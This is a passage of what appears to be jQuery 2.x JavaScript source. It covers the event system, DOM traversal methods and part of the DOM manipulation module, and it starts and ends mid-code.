/^(?:mouse|contextmenu)|click/, rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, rtypenamespace = /^([^.]*)(?:\.(.+)|)$/; function returnTrue() { return true; } function returnFalse() { return false; } function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = data_priv.get( elem ); // Don't attach events to noData or text/comment nodes (but allow plain objects) if ( !elemData ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !(events = elemData.events) ) { events = elemData.events = {}; } if ( !(eventHandle = elemData.handle) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : undefined; }; // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events eventHandle.elem = elem; } // Handle multiple events separated by a space types = ( types || "" ).match( core_rnotwhite ) || [""]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[t] ) || []; type = origType = tmp[1]; namespaces = ( tmp[2] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend({ type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join(".") }, handleObjIn ); // Init the event handler queue if we're the first if ( !(handlers = events[ type ]) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle, false ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } // Nullify elem to prevent memory leaks in IE elem = null; }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = data_priv.hasData( elem ) && data_priv.get( elem ); if ( !elemData || !(events = elemData.events) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( core_rnotwhite ) || [""]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[t] ) || []; type = origType = tmp[1]; namespaces = ( tmp[2] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { delete elemData.handle; data_priv.remove( elem, "events" ); } }, trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, eventPath = [ elem || document ], type = core_hasOwn.call( event, "type" ) ? event.type : event, namespaces = core_hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : []; cur = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf(".") >= 0 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split("."); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf(":") < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join("."); event.namespace_re = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === (elem.ownerDocument || document) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) { event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( data_priv.get( cur, "events" ) || {} )[ event.type ] && data_priv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && jQuery.acceptData( cur ) && handle.apply && handle.apply( cur, data ) === false ) { event.preventDefault(); } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) && jQuery.acceptData( elem ) ) { // Call a native DOM method on the target with the same name name as the event. // Don't do default actions on window, that's where global variables be (#6170) if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; elem[ type ](); jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, dispatch: function( event ) { // Make a writable jQuery.Event from the native event object event = jQuery.event.fix( event ); var i, j, ret, matched, handleObj, handlerQueue = [], args = core_slice.call( arguments ), handlers = ( data_priv.get( this, "events" ) || {} )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[0] = event; event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) { // Triggered event must either 1) have no namespace, or // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace). if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler ) .apply( matched.elem, args ); if ( ret !== undefined ) { if ( (event.result = ret) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, matches, sel, handleObj, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Find delegate handlers // Black-hole SVG <use> instance trees (#13180) // Avoid non-left-click bubbling in Firefox (#3861) if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.disabled !== true || event.type !== "click" ) { matches = []; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matches[ sel ] === undefined ) { matches[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) >= 0 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matches[ sel ] ) { matches.push( handleObj ); } } if ( matches.length ) { handlerQueue.push({ elem: cur, handlers: matches }); } } } } // Add the remaining (directly-bound) handlers if ( delegateCount < handlers.length ) { handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) }); } return handlerQueue; }, // Includes some event props shared by KeyEvent and MouseEvent props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), fixHooks: {}, keyHooks: { props: "char charCode key keyCode".split(" "), filter: function( event, original ) { // Add which for key events if ( event.which == null ) { event.which = original.charCode != null ? original.charCode : original.keyCode; } return event; } }, mouseHooks: { props: "button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "), filter: function( event, original ) { var eventDoc, doc, body, button = original.button; // Calculate pageX/Y if missing and clientX/Y available if ( event.pageX == null && original.clientX != null ) { eventDoc = event.target.ownerDocument || document; doc = eventDoc.documentElement; body = eventDoc.body; event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); } // Add which for click: 1 === left; 2 === middle; 3 === right // Note: button is not normalized, so don't use it if ( !event.which && button !== undefined ) { event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); } return event; } }, fix: function( event ) { if ( event[ jQuery.expando ] ) { return event; } // Create a writable copy of the event object and normalize some properties var i, prop, copy, type = event.type, originalEvent = event, fixHook = this.fixHooks[ type ]; if ( !fixHook ) { this.fixHooks[ type ] = fixHook = rmouseEvent.test( type ) ? this.mouseHooks : rkeyEvent.test( type ) ? this.keyHooks : {}; } copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; event = new jQuery.Event( originalEvent ); i = copy.length; while ( i-- ) { prop = copy[ i ]; event[ prop ] = originalEvent[ prop ]; } // Support: Cordova 2.5 (WebKit) (#13255) // All events should have a target; Cordova deviceready doesn't if ( !event.target ) { event.target = document; } // Support: Safari 6.0+, Chrome < 28 // Target should not be a text node (#504, #13143) if ( event.target.nodeType === 3 ) { event.target = event.target.parentNode; } return fixHook.filter? fixHook.filter( event, originalEvent ) : event; }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, focus: { // Fire native event if possible so blur/focus sequence is correct trigger: function() { if ( this !== safeActiveElement() && this.focus ) { this.focus(); return false; } }, delegateType: "focusin" }, blur: { trigger: function() { if ( this === safeActiveElement() && this.blur ) { this.blur(); return false; } }, delegateType: "focusout" }, click: { // For checkbox, fire native event so checked state will be right trigger: function() { if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) { this.click(); return false; } }, // For cross-browser consistency, don't fire native .click() on links _default: function( event ) { return jQuery.nodeName( event.target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined ) { event.originalEvent.returnValue = event.result; } } } }, simulate: function( type, elem, event, bubble ) { // Piggyback on a donor event to simulate a different one. // Fake originalEvent to avoid donor's stopPropagation, but if the // simulated event prevents default then we do the same on the donor. var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true, originalEvent: {} } ); if ( bubble ) { jQuery.event.trigger( e, null, elem ); } else { jQuery.event.dispatch.call( elem, e ); } if ( e.isDefaultPrevented() ) { event.preventDefault(); } } }; jQuery.removeEvent = function( elem, type, handle ) { if ( elem.removeEventListener ) { elem.removeEventListener( type, handle, false ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !(this instanceof jQuery.Event) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = ( src.defaultPrevented || src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || jQuery.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && e.preventDefault ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && e.stopPropagation ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { this.isImmediatePropagationStopped = returnTrue; this.stopPropagation(); } }; // Create mouseenter/leave events using mouseover/out and event-time checks // Support: Chrome 15+ jQuery.each({ mouseenter: "mouseover", mouseleave: "mouseout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mousenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || (related !== target && !jQuery.contains( target, related )) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; }); // Create "bubbling" focus and blur events // Support: Firefox, Chrome, Safari if ( !jQuery.support.focusinBubbles ) { jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler while someone wants focusin/focusout var attaches = 0, handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); }; jQuery.event.special[ fix ] = { setup: function() { if ( attaches++ === 0 ) { document.addEventListener( orig, handler, true ); } }, teardown: function() { if ( --attaches === 0 ) { document.removeEventListener( orig, handler, true ); } } }; }); } jQuery.fn.extend({ on: function( types, selector, data, fn, /*INTERNAL*/ one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { this.on( type, selector, data, types[ type ], one ); } return this; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return this; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return this.each( function() { jQuery.event.add( this, types, fn, data, selector ); }); }, one: function( types, selector, data, fn ) { return this.on( types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each(function() { jQuery.event.remove( this, types, fn, selector ); }); }, trigger: function( type, data ) { return this.each(function() { jQuery.event.trigger( type, data, this ); }); }, triggerHandler: function( type, data ) { var elem = this[0]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } }); var isSimple = /^.[^:#\[\.,]*$/, rparentsprev = /^(?:parents|prev(?:Until|All))/, rneedsContext = jQuery.expr.match.needsContext, // methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend({ find: function( selector ) { var i, ret = [], self = this, len = self.length; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter(function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } }) ); } for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } // Needed because $( selector, context ) becomes $( context ).find( selector ) ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret ); ret.selector = this.selector ? this.selector + " " + selector : selector; return ret; }, has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter(function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[i] ) ) { return true; } } }); }, not: function( selector ) { return this.pushStack( winnow(this, selector || [], true) ); }, filter: function( selector ) { return this.pushStack( winnow(this, selector || [], false) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], pos = ( rneedsContext.test( selectors ) || typeof selectors !== "string" ) ? jQuery( selectors, context || this.context ) : 0; for ( ; i < l; i++ ) { for ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors)) ) { cur = matched.push( cur ); break; } } } return this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched ); }, // Determine the position of an element within // the matched set of elements index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // index in selector if ( typeof elem === "string" ) { return core_indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return core_indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { var set = typeof selector === "string" ? jQuery( selector, context ) : jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ), all = jQuery.merge( this.get(), set ); return this.pushStack( jQuery.unique(all) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter(selector) ); } }); function sibling( cur, dir ) { while ( (cur = cur[dir]) && cur.nodeType !== 1 ) {} return cur; } jQuery.each({ parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return jQuery.dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return jQuery.dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return jQuery.dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return jQuery.dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return jQuery.dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return jQuery.dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return jQuery.sibling( elem.firstChild ); }, contents: function( elem ) { return elem.contentDocument || jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.unique( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; }); jQuery.extend({ filter: function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; })); }, dir: function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( (elem = elem[ dir ]) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }, sibling: function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; } }); // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; }); } if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; }); } if ( typeof qualifier === "string" ) { if ( isSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); } qualifier = jQuery.filter( qualifier, elements ); } return jQuery.grep( elements, function( elem ) { return ( core_indexOf.call( qualifier, elem ) >= 0 ) !== not; }); } var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, rtagName = /<([\w:]+)/, rhtml = /<|&#?\w+;/, rnoInnerhtml = /<(?:script|style|link)/i, manipulation_rcheckableType = /^(?:checkbox|radio)$/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rscriptType = /^$|\/(?:java|ecma)script/i, rscriptTypeMasked = /^true\/(.*)/, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g, // We have to close these tags to support XHTML (#13200) wrapMap = { // Support: IE 9 option: [ 1, "<select multiple='multiple'>", "</select>" ], thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; // Support: IE 9 wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; jQuery.fn.extend({ text: function( value ) { return jQuery.access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().append( ( this[ 0 ] && this[ 0 ].ownerDocument || document ).createTextNode( value ) ); }, null, value, arguments.length ); }, append: function() { return this.domManip( arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } }); }, prepend: function() { return this.domManip( arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } }); }, before: function() { return this.domManip( arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } }); }, after: function() { return this.domManip( arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } }); }, // keepData is for internal use only--do not document remove: function( selector, keepData ) { var elem, elems = selector ? jQuery.filter( selector, this ) : this, i = 0; for ( ; (elem = elems[i]) != null; i++ ) { if ( !keepData && elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem ) ); } if ( elem.parentNode ) { if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) { setGlobalEval( getAll( elem, "script" ) ); } elem.parentNode.removeChild( elem ); } } return this; }, empty: function() { var elem, i = 0; for ( ; (elem = this[i]) != null; i++ ) { if ( elem.nodeType === 1 ) { // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function () { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); }); }, html: function( value ) { return jQuery.access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = value.replace( rxhtmlTag, "<$1></$2>" ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var // Snapshot the DOM in case .domManip sweeps something relevant into its fragment args = jQuery.map( this, function( elem ) { return [ elem.nextSibling, elem.parentNode ]; }), i = 0; // Make the changes, replacing each context element with the new content this.domManip( arguments, function( elem ) { var next = args[ i++ ], parent = args[ i++ ]; if ( parent ) { // Don't use the snapshot next if it has moved (#13810) if ( next && next.parentNode !== parent ) { next = this.nextSibling; } jQuery( this ).remove(); parent.insertBefore( elem, next ); } // Allow new content to include elements from the context set }, true ); // Force removal if there was no new content (e.g., from empty arguments) return i ? this : this.remove(); }, detach: function( selector ) { return this.remove( selector, true ); }, domManip: function( args, callback, allowIntersection ) { // Flatten any nested arrays args = core_concat.apply( [], args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = this.length, set = this, iNoClone = l - 1, value = args[ 0 ], isFunction = jQuery.isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( isFunction || !( l <= 1 || typeof value !== "string" || jQuery.support.checkClone || !rchecked.test( value ) ) ) { return this.each(function( index ) { var self = set.eq( index ); if ( isFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } self.domManip( args, callback, allowIntersection ); }); } if ( l ) { fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, !allowIntersection && this ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } if ( first ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: QtWebKit // jQuery.merge because core_push.apply(_, arraylike) throws jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( this[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !data_priv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src ) { // Hope ajax is available... jQuery._evalUrl( node.src ); } else { jQuery.globalEval( node.textContent.replace( rcleanScript, "" ) ); } } } } } } return this; } }); jQuery.each({ appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: QtWebKit // .get() because core_push.apply(_, arraylike) throws core_push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; }); jQuery.extend({ clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = jQuery.contains( elem.ownerDocument, elem ); // Support: IE >= 9 // Fix Cloning issues if ( !jQuery.support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew Sizzle here for performance 